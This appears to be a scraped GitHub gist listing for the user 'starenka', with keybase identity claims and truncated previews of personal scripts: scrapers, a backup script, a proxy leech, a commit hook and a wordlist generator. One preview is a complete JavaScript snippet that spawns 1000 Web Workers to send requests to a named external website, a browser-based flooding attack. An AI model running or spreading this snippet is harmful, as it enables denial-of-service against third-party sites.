I hereby claim:
- I am starenka on github.
- I am starenka (https://keybase.io/starenka) on keybase.
- I have a public key whose fingerprint is 3183 C657 A1EE DB80 B9D9 A8CF 1549 0C71 F353 3E87
To claim this, I am signing this object:
#!/usr/bin/env python | |
# coding=utf-8 | |
import time | |
from pyquery import PyQuery as pq | |
def to_float(text): | |
return float(to_str(text).replace(',', '.').strip()) | |
def to_str(el): |
I hereby claim:
To claim this, I am signing this object:
#!/usr/bin/env python | |
# coding=utf-8 | |
# pip install requests beautifulsoup4 | |
# TODO: handle category selection (fucked up serverside) | |
# fix seldom weird price detection | |
from __future__ import division | |
import re | |
import datetime |
var blob = new BlobBuilder(); //BlobBuilder allows creating Web Workers from inline code instead of using external files | |
blob.append("onmessage = function(e) { c = new XMLHttpRequest(); c.open('GET','http://www.kdomedneskastve.cz',true); c.send(); }"); | |
var blob_url = window.createObjectURL(blob.getBlob()); //get blob url in order to start it | |
for(i=0;i<1000;i++) // let's roll | |
{ | |
var worker = new Worker(blob_url); | |
worker.onmessage = function(e) { }; | |
worker.postMessage(); | |
} |
#!/usr/bin/env bash | |
TAR_MAC="00:1f:d0:**:**:**" | |
TAR_HOST="bedna" | |
TAR_USER="starenka" | |
MAX_BW=400 #KB/s | |
MAX_TRIES=5 | |
INTERVAL_TRIES=30 | |
DIALOG_TITLE="--display :0 --title Backup" | |
DIRS=('/photo' '/www' '/prac' '/home/starenka/.scripts' '/home/starenka/bin' '/mail' '/home/starenka/.opera' '/home/starenka/jobs' '/home/starenka/.purple ' |
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# quick & dirty nntime proxy leech | |
# | |
# @author: starenka | |
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1] | |
# @version: 1.0 | |
# @since Dec 22, 2010 |
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# Pulls out links to PDFs from Respekt user section. | |
# *As the site allows only one logged in user at once, | |
# you need to logout in your browser in order to use this script. | |
# usage: | |
# $ ./norespekt.py > respekt_links | |
# $ cat respekt_links | xargs -P 10 -r -n 1 wget -nv | |
# |
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# this is a plugin/hook for bazaar. just add this file to ~/.bazaar/plugins/precommit""" | |
# | |
# @author: starenka | |
# @email: starenka0[at]gmail[dot]com | |
# @version: 1.1 | |
# @since Feb 28, 2010 |
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# openpaste.org wrapper | |
# | |
# reads from stdin and copies uri to klipper by default | |
# | |
# @author: starenka | |
# @email: admin[at]starenka[dot]net | |
# @version: 1.1 |
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# simple wl generator | |
# | |
# @author: starenka | |
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1] | |
# @version: 1.0 | |
# @since 1/1/11 | |
# @requires python 2.6 |